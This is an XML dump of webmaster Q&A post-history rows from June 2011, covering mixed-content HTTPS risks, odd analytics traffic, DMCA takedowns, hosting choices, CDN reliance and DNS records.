  <row Id="36976" PostHistoryTypeId="2" PostId="15606" RevisionGUID="4463e2c9-4a94-43eb-acb6-21ff61fac58f" CreationDate="2011-06-20T13:27:15.050" UserDisplayName="RedGrittyBrick" Text="&gt;A “mixed scripting” vulnerability is caused when a page served over HTTPS loads a script, CSS, or plug-in resource over HTTP. A man-in-the-middle attacker (such as someone on the same wireless network) can typically intercept the HTTP resource load and gain full access to the website loading the resource. It’s often as bad as if the web page hadn’t used HTTPS at all.&#xD;&#xA;&#xD;&#xA;http://googleonlinesecurity.blogspot.com/2011/06/trying-to-end-mixed-scripting.html&#xD;&#xA;&#xD;&#xA;&gt;Security researchers and many web developers understand and articulate the threat well. There are 3 easy steps to attack the user through a mixed content vulnerability… &#xD;&#xA;&gt;&#xD;&#xA;&gt;1) Set-up a Man-in-the-Middle attack. These are most easily done on public networks such as those in coffee shops or airports. &#xD;&#xA;&gt;&#xD;&#xA;&gt;2) Use a mixed content vulnerability to inject a malicious javascript file. Malicious code will run in an HTTPS website that the user browsers to. The key point is that the HTTPS site has a mixed content vulnerability on it, which means that it executes content downloaded over HTTP. This is where the Man-in-the-Middle attack and Mixed Content vulnerability combine into a dangerous scenario.&#xD;&#xA;&gt;&#xD;&#xA;&gt; “If some attacker is able to either tamper with Javascript or stylesheet files he can effectively also tamper with the other content on your page (e.g. by modifying the DOM ). So it’s either all or nothing. Either all of your elements are served using SSL, then you are secure. Or you load some Javascript or stylesheet files from a plain HTTP connection, then you aren’t secure anymore.”- me&#xD;&#xA;&gt;&#xD;&#xA;&gt;3) Steal the user’s identity (or do other bad things). &#xD;&#xA;&#xD;&#xA;http://ie.microsoft.com/testdrive/Browser/MixedContent/Default.html?o=1&#xD;&#xA;&#xD;&#xA;Related question: http://stackoverflow.com/questions/3778819/browser-mixed-content-warning-whats-the-point" />
  <row Id="36977" PostHistoryTypeId="2" PostId="15605" RevisionGUID="2389d916-bedf-490f-8c83-09a4cca3393c" CreationDate="2011-06-20T11:54:42.813" UserId="6284" Text="My understanding is that this is just an example of being overly cautious, but if my checkout form contains an unsecure asset on it, that doesn't endanger anybody's credit card numbers from being caught by a man-in-the-middle.&#xD;&#xA;&#xD;&#xA;I'm asking this because every once in while, maybe because of cached content or whatnot, somebody writes in saying that they are seeing this &quot;error&quot; (even though there are no unsecure assets on my page), but they want an explanation.&#xD;&#xA;&#xD;&#xA;So yes, I can tell all about encryption and certificates and trust and men-in-the-middle. But what do I tell them about this. How do I convince them that the site is 100% safe (and if it isn't let me know that I'm mistaken!)" />
  <row Id="36978" PostHistoryTypeId="1" PostId="15605" RevisionGUID="2389d916-bedf-490f-8c83-09a4cca3393c" CreationDate="2011-06-20T11:54:42.813" UserId="6284" Text="Is it really a security problem to have non secure assets on an ssl page?" />
  <row Id="36979" PostHistoryTypeId="3" PostId="15605" RevisionGUID="2389d916-bedf-490f-8c83-09a4cca3393c" CreationDate="2011-06-20T11:54:42.813" UserId="6284" Text="&lt;ssl&gt;" />
  <row Id="36980" PostHistoryTypeId="17" PostId="15607" RevisionGUID="a7419193-9cb0-45d5-8eea-0fc947804ca4" CreationDate="2011-06-20T14:23:56.473" UserId="-1" Comment="from http://stackoverflow.com/questions/6412652/a-bounce-rate-attack-to-manipulate-seo" Text="" />
  <row Id="36981" PostHistoryTypeId="2" PostId="15607" RevisionGUID="a0617dfc-3317-45b9-b897-f2ebb600cb47" CreationDate="2011-06-20T14:18:45.773" UserId="4785" Text="This is a question to experienced people that might help us shed some light on the issue. &#xD;&#xA;&#xD;&#xA;We noticed a very strange behavior on our site, in Google Analytics.&#xD;&#xA;Some dude from Finland, namely, from Kouvola city is hitting one of our pages - only one page on our site, 'bout a hundred times per day, all with an average bounce rate of 90%+...&#xD;&#xA;&#xD;&#xA;This is causing our overall bounce rate to go up by 1 to 3% per day... which is very disturbing.. since we're trying to do our best in order to keep it as low as possible.&#xD;&#xA;And obviously having it jumped from ~24% to 27%, just because of that crazy dude is not making us happy at all... We tried implementing a geo-targeted script in order to catch this particular visitor and deliver him a juicy message, and it seemed like it helped in the beginning, it has stopped for a day or two, but now he's back... &#xD;&#xA;&#xD;&#xA;The geo-targeted script was also logging all IP addresses for page requests originating from Finland in order to find out more details and *(in order to block them on the server level, later)*.. but thing is, it was all mainly cable or DSL connections with various, but not constantly repeating IPs... we are all wondering what is he up to really ? &#xD;&#xA;&#xD;&#xA;I think that this page should be kept updated with ideas on how to combat this and perhaps someone could also shed light on what it might be ? What is the reason for doing this &quot;bounce-rate attack&quot;, as I call it?&#xD;&#xA;&#xD;&#xA;There was a similar question asked on stackoverflow earlier, with no meaningful answer - here - http://stackoverflow.com/questions/5074035/how-to-stop-bounce-rate-manipulation" />
  <row Id="36982" PostHistoryTypeId="1" PostId="15607" RevisionGUID="a0617dfc-3317-45b9-b897-f2ebb600cb47" CreationDate="2011-06-20T14:18:45.773" UserId="4785" Text="A bounce-rate attack to manipulate SEO ?" />
  <row Id="36983" PostHistoryTypeId="3" PostId="15607" RevisionGUID="a0617dfc-3317-45b9-b897-f2ebb600cb47" CreationDate="2011-06-20T14:18:45.773" UserId="4785" Text="&lt;seo&gt;&lt;web-security&gt;&lt;hacking&gt;" />
  <row Id="36984" PostHistoryTypeId="2" PostId="15608" RevisionGUID="c95ef3cf-126c-40c1-9810-e62767744e34" CreationDate="2011-06-20T14:28:09.810" UserId="1253" Text="This kind of attack won't affect your rankings as [bounce rate is almost certainly not a ranking factor][1].&#xD;&#xA;&#xD;&#xA;It's hard to say why this user is doing this but I doubt it's to manipulate your bounce rate or site stats. More likely reasons are:&#xD;&#xA;&#xD;&#xA;- they are trying to attack your site through that page. &#xD;&#xA;&#xD;&#xA;- that page being loaded somehow benefits them and thus they are automating the process (it's hard to say if this is the case without knowing more about that particular page). &#xD;&#xA;&#xD;&#xA;- that page is stuck in their browser cache and every time they load their browser it pulls up that. That may be due to a faulty browser extension that loads previously closed tabs or something along those lines.&#xD;&#xA;&#xD;&#xA;- that page is the default homepage in their browser and every time they open up their browser is loads that page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/13920/google-ranking-and-bounce-rate/13924#13924" />
  <row Id="36985" PostHistoryTypeId="6" PostId="15607" RevisionGUID="00a9a0ca-3e7c-4ef5-b19d-fa4823bac9fb" CreationDate="2011-06-20T14:29:32.557" UserId="1253" Comment="added &quot;bounce-rate&quot; tag" Text="&lt;seo&gt;&lt;web-security&gt;&lt;hacking&gt;&lt;bounce-rate&gt;" />
  <row Id="36990" PostHistoryTypeId="25" PostId="15607" RevisionGUID="7843eca7-e91e-41c5-bc2f-0697d1120ed0" CreationDate="2011-06-20T15:24:45.623" Comment="http://twitter.com/#!/StackWebmasters/status/82831256034869248" />
  <row Id="36994" PostHistoryTypeId="2" PostId="15611" RevisionGUID="2abf2568-6124-4695-9515-d71c4668cc8b" CreationDate="2011-06-20T15:49:05.717" UserId="6033" Text="If a competitor copies your unique product descriptions on an eCommerce site, what is the proper way to report the copied content to google? Do you have to take different action for Web Organic search and Shopping search?" />
  <row Id="36995" PostHistoryTypeId="1" PostId="15611" RevisionGUID="2abf2568-6124-4695-9515-d71c4668cc8b" CreationDate="2011-06-20T15:49:05.717" UserId="6033" Text="Reporting Copied (Stolen) Product Descriptions to Google" />
  <row Id="36996" PostHistoryTypeId="3" PostId="15611" RevisionGUID="2abf2568-6124-4695-9515-d71c4668cc8b" CreationDate="2011-06-20T15:49:05.717" UserId="6033" Text="&lt;google&gt;&lt;copyright&gt;" />
  <row Id="36997" PostHistoryTypeId="2" PostId="15612" RevisionGUID="8bb4a90e-f202-4a84-8ffb-627f8a66e6c3" CreationDate="2011-06-20T15:53:22.593" UserId="1253" Text="You can submit a DMCA take down request using [this form][1]. It should cover both Regular search and Shopping search.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/dmca-notice?pli=1" />
  <row Id="37001" PostHistoryTypeId="2" PostId="15613" RevisionGUID="e96acb5f-e14e-463a-80eb-1b2afe91615e" CreationDate="2011-06-20T16:37:47.217" UserId="8392" Text="I have found this software quite useful in the past. Install it as an app on windows and it allows your to view sites in IE from 5.5 to the latest :)" />
  <row Id="37002" PostHistoryTypeId="2" PostId="15614" RevisionGUID="d3058590-b48b-43c6-948f-8beab79ece3b" CreationDate="2011-06-20T17:35:46.657" UserId="3610" Text="I managed to find a nice domain for a fairly fledgling site of mine that actually hasn't been parked by scumbag squatters. Given the upcoming move I'm thinking I'd take the opportunity to split the content across subdomains according to language, much like wikipedia for example:&#xD;&#xA;&#xD;&#xA;    current:&#xD;&#xA;    www.old-domain.com/en/subject  # English   &#xD;&#xA;    www.old-domain.com/subjecto    # Spanish (default so not locale in url)&#xD;&#xA;    &#xD;&#xA;    proposed&#xD;&#xA;    en.new-domain.com/subject&#xD;&#xA;    es.new-domain.com/subjecto&#xD;&#xA;&#xD;&#xA;The advantage of doing this is a fairly competitive keyword such that I may wish to put a copy of my application on a Spanish slice in order to gain a few serp's. Also pure vanity. &#xD;&#xA;&#xD;&#xA;Google's webmaster tools allows me to move to the new domain and I can add the root domain and the subdomains but forward to only one. I'll 301 from the old domain appropriately but is there anything I should know about webmaster tools in this respect where effectively I'm moving to two addresses?&#xD;&#xA;&#xD;&#xA;(Feel free to dissuade me from doing this if it's a bad idea in comments.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37003" PostHistoryTypeId="1" PostId="15614" RevisionGUID="d3058590-b48b-43c6-948f-8beab79ece3b" CreationDate="2011-06-20T17:35:46.657" UserId="3610" Text="Move site to new domain divided by language across subdomains" />
  <row Id="37004" PostHistoryTypeId="3" PostId="15614" RevisionGUID="d3058590-b48b-43c6-948f-8beab79ece3b" CreationDate="2011-06-20T17:35:46.657" UserId="3610" Text="&lt;domains&gt;&lt;google-webmaster-tools&gt;&lt;subdomain&gt;" />
  <row Id="37005" PostHistoryTypeId="4" PostId="13192" RevisionGUID="78ce997f-00bb-4998-ace4-584266f4e50d" CreationDate="2011-06-20T17:39:25.813" UserId="7248" Comment="edited title" Text="How can I make my binary file is served as binary and not text when user choose &quot;Save Linked File As...&quot; in Safari?" />
  <row Id="37006" PostHistoryTypeId="25" PostId="15611" RevisionGUID="163931ae-2c33-43a1-a600-e276c44cb4e1" CreationDate="2011-06-20T18:24:46.970" Comment="http://twitter.com/#!/StackWebmasters/status/82876559572209664" />
  <row Id="37010" PostHistoryTypeId="2" PostId="15616" RevisionGUID="c2af6962-13bd-4524-9908-23382156b419" CreationDate="2011-06-20T19:01:35.190" UserId="7912" Text="WebFaction meets all your requirements except CPanel.&#xD;&#xA;&#xD;&#xA;They even have an install script that sets it up automatically.&#xD;&#xA;&#xD;&#xA;https://wiki.webfaction.com/wiki/InstallScripts" />
  <row Id="37014" PostHistoryTypeId="2" PostId="15618" RevisionGUID="84c74431-20a7-4b3d-bf79-a34810e51ee1" CreationDate="2011-06-20T19:07:34.720" UserId="2251" Text="It seems that everyone has something bad to say about the &quot;big&quot; shared hosting sites like 1and1, HostGator, GoDaddy, etc. but what are the ones you've had GOOD experiences with? &#xD;&#xA;&#xD;&#xA;I'm going to focus this question on LAMP stacks, given that they're the most popular option for shared hosting, but if you have an especially good experience with a different stack.&#xD;&#xA;&#xD;&#xA;Good shared hosting should be:&#xD;&#xA;&#xD;&#xA;**Competitively priced** - But not at the expense of...  &#xD;&#xA;**Fully featured** - Email, PHP, MySQL, but what else?   &#xD;&#xA;**Highly customizable** - Do you have access to advanced features like being able to deliver static content?  &#xD;&#xA;**Up to date** - Do they run PHP4 as standard, or do they run the latest version?  &#xD;&#xA;**Customer service** - When you have a problem are they rude and unhelpful? Do they take ages to reply?&#xD;&#xA;&#xD;&#xA;So how about it? Who have YOU have a good experience with?" />
  <row Id="37015" PostHistoryTypeId="1" PostId="15618" RevisionGUID="84c74431-20a7-4b3d-bf79-a34810e51ee1" CreationDate="2011-06-20T19:07:34.720" UserId="2251" Text="Recommend good shared hosting" />
  <row Id="37016" PostHistoryTypeId="3" PostId="15618" RevisionGUID="84c74431-20a7-4b3d-bf79-a34810e51ee1" CreationDate="2011-06-20T19:07:34.720" UserId="2251" Text="&lt;web-development&gt;&lt;web-hosting&gt;&lt;lamp&gt;&lt;recommendations&gt;" />
  <row Id="37017" PostHistoryTypeId="6" PostId="15618" RevisionGUID="6bbe08c9-d07a-444b-9185-bf0dffa404b0" CreationDate="2011-06-20T19:09:30.300" UserId="1253" Comment="edited tags" Text="&lt;web-development&gt;&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;lamp&gt;&lt;recommendations&gt;" />
  <row Id="37018" PostHistoryTypeId="10" PostId="15618" RevisionGUID="fad05243-8be4-4643-a72e-b38ffd8ab8cf" CreationDate="2011-06-20T19:09:49.553" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37025" PostHistoryTypeId="25" PostId="15605" RevisionGUID="31aea076-419e-4b44-9b3a-9725135b1559" CreationDate="2011-06-20T21:24:47.837" Comment="http://twitter.com/#!/StackWebmasters/status/82921862719479808" />
  <row Id="37026" PostHistoryTypeId="2" PostId="15619" RevisionGUID="0bded411-292b-4bb4-85df-0ac6a4568905" CreationDate="2011-06-20T21:28:00.503" UserId="8430" Text="https://www.google.com/webmasters/tools/home?hl=en&#xD;&#xA;&#xD;&#xA;is Google's central dashboard from where you can get control of how your page is indexed by Google. It is not a guarantee that the page will be indexed.&#xD;&#xA;&#xD;&#xA;Moreover, you can add an XML site map to assist Google bot." />
  <row Id="37027" PostHistoryTypeId="2" PostId="15620" RevisionGUID="476acaa6-3e49-4a12-b214-31e36b9835eb" CreationDate="2011-06-20T21:34:55.523" UserId="2950" Text="Some of our sites are setup with an &quot;a record&quot; to an ip address and some are setup as a cname of a server that then has an &quot;a name&quot; to the same server ip. I want it to be consistent. Which is the best way? " />
  <row Id="37028" PostHistoryTypeId="1" PostId="15620" RevisionGUID="476acaa6-3e49-4a12-b214-31e36b9835eb" CreationDate="2011-06-20T21:34:55.523" UserId="2950" Text="Does the &quot;canonical name&quot; in DNS make any difference to search engines?" />
  <row Id="37029" PostHistoryTypeId="3" PostId="15620" RevisionGUID="476acaa6-3e49-4a12-b214-31e36b9835eb" CreationDate="2011-06-20T21:34:55.523" UserId="2950" Text="&lt;search&gt;" />
  <row Id="37030" PostHistoryTypeId="2" PostId="15621" RevisionGUID="8b9cfc17-adc0-4f93-9a3e-705dbabad9f1" CreationDate="2011-06-20T21:41:10.413" UserId="8429" Text="I'm searching for a webshop. The problem with my search is, that the webshop-software of my choice needs to have a useabel API or some interface for external applications. E.g. i need to place orders by an external application or need to get product descriptions or warehouse stock from the external application. I somehow would like to have a webshop wehere the webinterface is just one way to interact with the whole system.&#xD;&#xA;&#xD;&#xA;There are some other requirments, which have to be fullfilled, but i guess they are kind of common:&#xD;&#xA;&#xD;&#xA; - running on linux&#xD;&#xA; - MySQL (we already have MySQL-replication and backup in place)&#xD;&#xA; - i like open source but i'm willing to pay for it, if it's worth it&#xD;&#xA;&#xD;&#xA;I found some webshops on the net - but perhaps you can tell me, if theres any hope for a webshop with a good API before i go and test all of them, on the first look i didn't find any docs about any interface to external applications for any of my search results.&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="37031" PostHistoryTypeId="1" PostId="15621" RevisionGUID="8b9cfc17-adc0-4f93-9a3e-705dbabad9f1" CreationDate="2011-06-20T21:41:10.413" UserId="8429" Text="Recomendation for Webshop with API" />
  <row Id="37032" PostHistoryTypeId="3" PostId="15621" RevisionGUID="8b9cfc17-adc0-4f93-9a3e-705dbabad9f1" CreationDate="2011-06-20T21:41:10.413" UserId="8429" Text="&lt;mysql&gt;&lt;linux&gt;&lt;api&gt;&lt;shopping&gt;" />
  <row Id="37033" PostHistoryTypeId="17" PostId="15622" RevisionGUID="86417d47-56f1-4764-bb69-b512a4082dfc" CreationDate="2011-06-20T21:49:57.850" UserId="-1" Comment="from http://stackoverflow.com/questions/6411964/should-i-rely-on-externally-hosted-services" Text="" />
  <row Id="37034" PostHistoryTypeId="2" PostId="15623" RevisionGUID="10695d00-b468-4738-b183-4ddc1d4d788c" CreationDate="2011-06-20T13:37:12.343" UserId="5151" Text="**CDN Plug:** Talking of CDN's Please use [CDN-js][2] to load your common JavaScript libraries.&#xD;&#xA;&#xD;&#xA;&gt; Extra latency while my site fetch the data from the google servers.&#xD;&#xA;&#xD;&#xA;This is not the case. The latency between a client (browser) fetching the google chart library from _your_ server and the _google_ server is the same.&#xD;&#xA;&#xD;&#xA;Also hosting it on one CDN (i.e. google) increases the chances that the library is already cached and that the load is instant.&#xD;&#xA;&#xD;&#xA;&gt; (-) Potentially the Google service can be down when my site is up.&#xD;&#xA;&#xD;&#xA;Extremely small chance of this occurring but is a threat.&#xD;&#xA;&#xD;&#xA;[Google charts spefically can not be used locally][3].&#xD;&#xA;&#xD;&#xA;Most other libraries used from a CDN can have a fallback for when they go down.&#xD;&#xA;&#xD;&#xA;[Fallback technique if CDN is down](http://stackoverflow.com/questions/5257923/how-to-load-local-script-files-as-fallback-in-cases-where-cdn-are-blocked-unavail/5531821#5531821)&#xD;&#xA;&#xD;&#xA;Just plug in your own feature detection for whether google charts is loaded.&#xD;&#xA;&#xD;&#xA;**Actual Downsides:**&#xD;&#xA;&#xD;&#xA;The main downsides for using external tools is that they are not as flexible. They can do a lot of work for you though. &#xD;&#xA;&#xD;&#xA;It also depends on how skilled you are at writing your own tools and how well you want to integrate them into the rest of your website infrastructure and general styling / look and feel.&#xD;&#xA;&#xD;&#xA;**Advice:**&#xD;&#xA;&#xD;&#xA;If you do not need to integrate the functionality with other parts of the website nor do you need to style it heavily to make it look integrated with the rest of your website then use google charts (or [g.Raphael][1]).&#xD;&#xA;&#xD;&#xA;If you do not have the skills to write your own library that achieves similar functionality then use a library.&#xD;&#xA;&#xD;&#xA;  [1]: http://g.raphaeljs.com/&#xD;&#xA;  [2]: http://www.cdnjs.com/&#xD;&#xA;  [3]: http://code.google.com/apis/chart/interactive/faq.html#localdownload" />
  <row Id="37035" PostHistoryTypeId="2" PostId="15622" RevisionGUID="1004e518-850b-4fa5-8fb9-aad2eef6cf03" CreationDate="2011-06-20T13:33:38.247" UserDisplayName="Mattis" Text="I am wondering over the dangers / difficulties in using external services like [Google Chart][1] in my production state website.&#xD;&#xA;&#xD;&#xA;With external services I mean them that you can't download and host on your own server.&#xD;&#xA;&#xD;&#xA;**(-)** Potentially the Google service can be down when my site is up.&#xD;&#xA;&#xD;&#xA;**(+)** I don't have to develop those particular systems for new browser technologies, hopefully Google will do that for me.&#xD;&#xA;&#xD;&#xA;**(-)** Extra latency while my site fetch the data from the google servers.&#xD;&#xA;&#xD;&#xA;What else? Is it worth spending time and money to develop my own systems to be more in control of things?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/chart/" />
  <row Id="37036" PostHistoryTypeId="1" PostId="15622" RevisionGUID="1004e518-850b-4fa5-8fb9-aad2eef6cf03" CreationDate="2011-06-20T13:33:38.247" UserDisplayName="Mattis" Text="Should I rely on externally-hosted services?" />
  <row Id="37037" PostHistoryTypeId="3" PostId="15622" RevisionGUID="1004e518-850b-4fa5-8fb9-aad2eef6cf03" CreationDate="2011-06-20T13:33:38.247" UserDisplayName="Mattis" Text="&lt;php&gt;&lt;javascript&gt;&lt;web-development&gt;" />
  <row Id="37038" PostHistoryTypeId="17" PostId="15623" RevisionGUID="6bf2b515-27b9-44c7-8486-ba541b5c2d6f" CreationDate="2011-06-20T21:49:57.850" UserId="-1" Comment="from http://stackoverflow.com/questions/6411964/should-i-rely-on-externally-hosted-services" Text="" />
  <row Id="37039" PostHistoryTypeId="17" PostId="15624" RevisionGUID="d6b1a9f9-b44c-4b23-82f0-643d2c329648" CreationDate="2011-06-20T21:49:57.850" UserId="-1" Comment="from http://stackoverflow.com/questions/6411964/should-i-rely-on-externally-hosted-services" Text="" />
  <row Id="37040" PostHistoryTypeId="17" PostId="15625" RevisionGUID="a6619a2c-e3e3-4ba9-8c53-729faa8473fb" CreationDate="2011-06-20T21:49:57.850" UserId="-1" Comment="from http://stackoverflow.com/questions/6411964/should-i-rely-on-externally-hosted-services" Text="" />
  <row Id="37041" PostHistoryTypeId="17" PostId="15626" RevisionGUID="90326ba1-c17b-4ff1-bf57-e3fb5fb1a818" CreationDate="2011-06-20T21:49:57.850" UserId="-1" Comment="from http://stackoverflow.com/questions/6411964/should-i-rely-on-externally-hosted-services" Text="" />
  <row Id="37042" PostHistoryTypeId="2" PostId="15624" RevisionGUID="f9ae55be-dcb9-4fd7-bd84-4b4eaf5a5022" CreationDate="2011-06-20T13:38:38.600" UserDisplayName="kingjiv" Text="It really depends on your specific situation.  Generally something like a chart is not absolutely critical and if it's down for a few hours it's not the end of the world.  Google's uptime is really good so it's not likely to be down often.  You really just have to weigh the risks and benefits for your specific situation." />
  <row Id="37043" PostHistoryTypeId="2" PostId="15625" RevisionGUID="90264cc4-809d-49a8-88c8-7d7576690c95" CreationDate="2011-06-20T13:39:14.267" UserDisplayName="MoarCodePlz" Text="1) As far as uptimes go, Google is one of the best. I wouldn't be too worried about referencing external libraries that exist on Google servers, as if they go down there is going to be a large % of the web that is currently missing their references.&#xD;&#xA;&#xD;&#xA;2) If you think you have time to develop all these third party applications and embed them in your site and have them give the same quality experience that pre-existing ones give, then you're mistaken. There are teams of people that work on these different libraries for extended periods of time and then put in additional work to maintain them. You should definitely utilize the hard work that others are willing to give you when building websites.&#xD;&#xA;&#xD;&#xA;3) The extra latency will only occur the first time you try to load an external resource (unless the resource changes in the middle of your session). It will be cached locally upon being fetched and therefore will not require an external call to retrieve subsequently.&#xD;&#xA;&#xD;&#xA;I would say utilize as much of the awesome external libraries out there as you want to. If they are on secure CDNs (such as Google's) then you will mitigate the risk you take (which is already minimal)." />
  <row Id="37044" PostHistoryTypeId="2" PostId="15626" RevisionGUID="403e187d-af5a-408b-b86a-d3cca51e4209" CreationDate="2011-06-20T13:39:35.793" UserId="8426" Text="If Google services go down so does a lot of websites (or at least their functionality). This question needs to be discussed openly with whoever is paying for the system, since development costs to replace some of the free Google functionality can be very high. The risks are small and as pointed out in another reply, the latency is not a factor - probably the other way around many times.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37045" PostHistoryTypeId="2" PostId="15627" RevisionGUID="c6d5af9c-f565-4727-8de9-1da3f478e4f8" CreationDate="2011-06-20T21:55:49.670" UserId="1253" Text="They will only affect your SEO if different canonical names can pull up the same content. Then you'll run into duplicate content issues. If this is the case you can use [`&lt;link rel=&quot;canonical&quot;&gt;`][1] to specify the correct URL for any given content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="37046" PostHistoryTypeId="6" PostId="15620" RevisionGUID="b45c78cb-1ab7-4ff9-9835-d0587aed81d1" CreationDate="2011-06-20T21:56:04.113" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;search&gt;" />
  <row Id="37047" PostHistoryTypeId="2" PostId="15628" RevisionGUID="56132343-c913-4fd1-b526-7f0f43569db0" CreationDate="2011-06-20T22:00:05.980" UserId="3146" Text="Turns out the answer is anywhere from around two days, down to unlimited based on how busy they are.... If you phone or email, they can do it sooner.&#xD;&#xA;&#xD;&#xA;For me, it took about 9 days (with one phone call after 8)." />
  <row Id="37048" PostHistoryTypeId="2" PostId="15629" RevisionGUID="b4626376-b98e-4085-b9f9-193b2d79019f" CreationDate="2011-06-20T22:07:43.543" UserId="8354" Text="&gt; CNAME records that point to other&#xD;&#xA;&gt; CNAME records should be avoided due to&#xD;&#xA;&gt; their lack of efficiency, but are not&#xD;&#xA;&gt; an error. The following example is not&#xD;&#xA;&gt; recommended:&#xD;&#xA;&#xD;&#xA;    foo.example.com.  CNAME  bar.example.com.&#xD;&#xA;&#xD;&#xA;Nevertheless this is the very common practice:&#xD;&#xA;&#xD;&#xA;- `example.com` (@) is done via &quot;A&quot; record (obviously)&#xD;&#xA;- `www`, `ftp` etc subdomains are done via &quot;CNAME&quot; pointing to @&#xD;&#xA;&#xD;&#xA;While &quot;CNAME&quot; is more convenient to use (you need to specify IP address less times, quite often just once when all subdomains are hosted on the same server) it is a bit slower than &quot;A&quot; -- as it needs additional lookups when resolving to the final IP address (while &quot;A&quot; resolves directly). But resolved names are usually cached so the performance difference here is almost non-existent in long run (only matters on initial request).&#xD;&#xA;&#xD;&#xA;From DNS point of view it should make no difference/impact on SEO -- I doubt Google checks how DNS record is defined -- the final IP is what matters." />
  <row Id="37049" PostHistoryTypeId="5" PostId="15627" RevisionGUID="1ead6d63-3358-4dfd-a132-accd24e25bd4" CreationDate="2011-06-20T22:47:22.053" UserId="1253" Comment="added 256 characters in body" Text="They will only affect your SEO if different canonical names can pull up the same content. Then you'll run into duplicate content issues. The most common example of this is being able to pull up the same content with and without the &quot;www&quot;. If this is the case you can use [`&lt;link rel=&quot;canonical&quot;&gt;`][1] to specify the correct URL for any given content. (You can also solve the &quot;www&quot; issue with 301 redirects and settings in Google Webmaster Tools but I wanted to keep the answer specific to CNAME records).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="37050" PostHistoryTypeId="5" PostId="15549" RevisionGUID="bc06f447-2dd8-4652-9e9b-ae33f5cd58b6" CreationDate="2011-06-20T22:54:19.777" UserId="8153" Comment="added 103 characters in body; added 18 characters in body" Text="1.How am I supposed to store data on server, using not only: databases,text files and images?&#xD;&#xA;&#xD;&#xA;And how someone could implement storing data in fb's graph api http://developers.facebook.com/docs/reference/api/ , so when I go to: https://graph.facebook.com/19292868552 it shows me such data(how it can be stored? I guess it's not Mysql database)&#xD;&#xA;&#xD;&#xA;2.Is it not too slow to open few files while processing request from a user(via PHP)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS. Link to article: http://jayant7k.blogspot.com/2009/05/how-facebook-stores-billions-of-photos.html" />
  <row Id="37051" PostHistoryTypeId="5" PostId="15549" RevisionGUID="569f1a4a-38c1-4cca-8998-50bae8fb4a9f" CreationDate="2011-06-20T23:06:28.663" UserId="8153" Comment="deleted 89 characters in body; added 89 characters in body" Text="1.How am I supposed to store data on server, using not only: databases,text files and images?&#xD;&#xA;&#xD;&#xA;And how someone could implement storing data in fb's graph api http://developers.facebook.com/docs/reference/api/ , so when I go to: https://graph.facebook.com/19292868552 it shows me such data(how it can be stored? I guess it's not Mysql database)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS. Link to article: http://jayant7k.blogspot.com/2009/05/how-facebook-stores-billions-of-photos.html &lt;- How can concurrent users writing requests be solved(while storing data in text file)." />
  <row Id="37052" PostHistoryTypeId="17" PostId="15630" RevisionGUID="cd45d950-8984-42ad-ab05-85c4eb2fb201" CreationDate="2011-06-20T23:50:19.037" UserId="-1" Comment="from http://stackoverflow.com/questions/6409512/what-to-use-to-make-voice-chat-and-some-more-on-a-web" Text="" />
  <row Id="37053" PostHistoryTypeId="2" PostId="15630" RevisionGUID="c6ba0dfa-b816-4457-a284-57c77bed7b8f" CreationDate="2011-06-20T09:55:16.617" UserDisplayName="Tunococ" Text="I am trying to make available on my website a voice chat for a small group of people that allows some other means to interact such as text messaging, photo sharing, file sharing, simple drawing and silly games. In other words, something similar to older MSN Messenger, but on the web. Any ideas on what to use?" />
  <row Id="37054" PostHistoryTypeId="1" PostId="15630" RevisionGUID="c6ba0dfa-b816-4457-a284-57c77bed7b8f" CreationDate="2011-06-20T09:55:16.617" UserDisplayName="Tunococ" Text="What to use to make voice chat (and some more) on a web?" />
  <row Id="37055" PostHistoryTypeId="3" PostId="15630" RevisionGUID="c6ba0dfa-b816-4457-a284-57c77bed7b8f" CreationDate="2011-06-20T09:55:16.617" UserDisplayName="Tunococ" Text="&lt;web-development&gt;&lt;chat&gt;" />
  <row Id="37056" PostHistoryTypeId="10" PostId="15549" RevisionGUID="4a0aecd7-82a7-4273-a8b1-1e2c0402706d" CreationDate="2011-06-20T23:53:17.273" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37057" PostHistoryTypeId="6" PostId="15630" RevisionGUID="49c77f4f-3ffd-4a24-8dd9-ed80b8ea7bb5" CreationDate="2011-06-20T23:54:54.747" UserId="1253" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;chat&gt;" />
  <row Id="37058" PostHistoryTypeId="2" PostId="15631" RevisionGUID="ab434c96-9123-4147-969e-e66c02defed3" CreationDate="2011-06-21T00:03:42.317" UserId="2907" Text="I just started working on a new project that has a general login feature. One suggestion in a meeting was to look into Facebook Connect or OpenID as an alternative. I'm curious if there's one that has less of a learning curve, or if they can both be used on the same site.&#xD;&#xA;&#xD;&#xA;Also, when you use either, do you have them initially create the account and just get a verify True/False back that you then use to set up a local user account? I what about forgotten passwords? I'm kind of curious as to best practices for integrated this type of login with a &quot;traditional&quot; one where you store the user info yourself.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;D" />
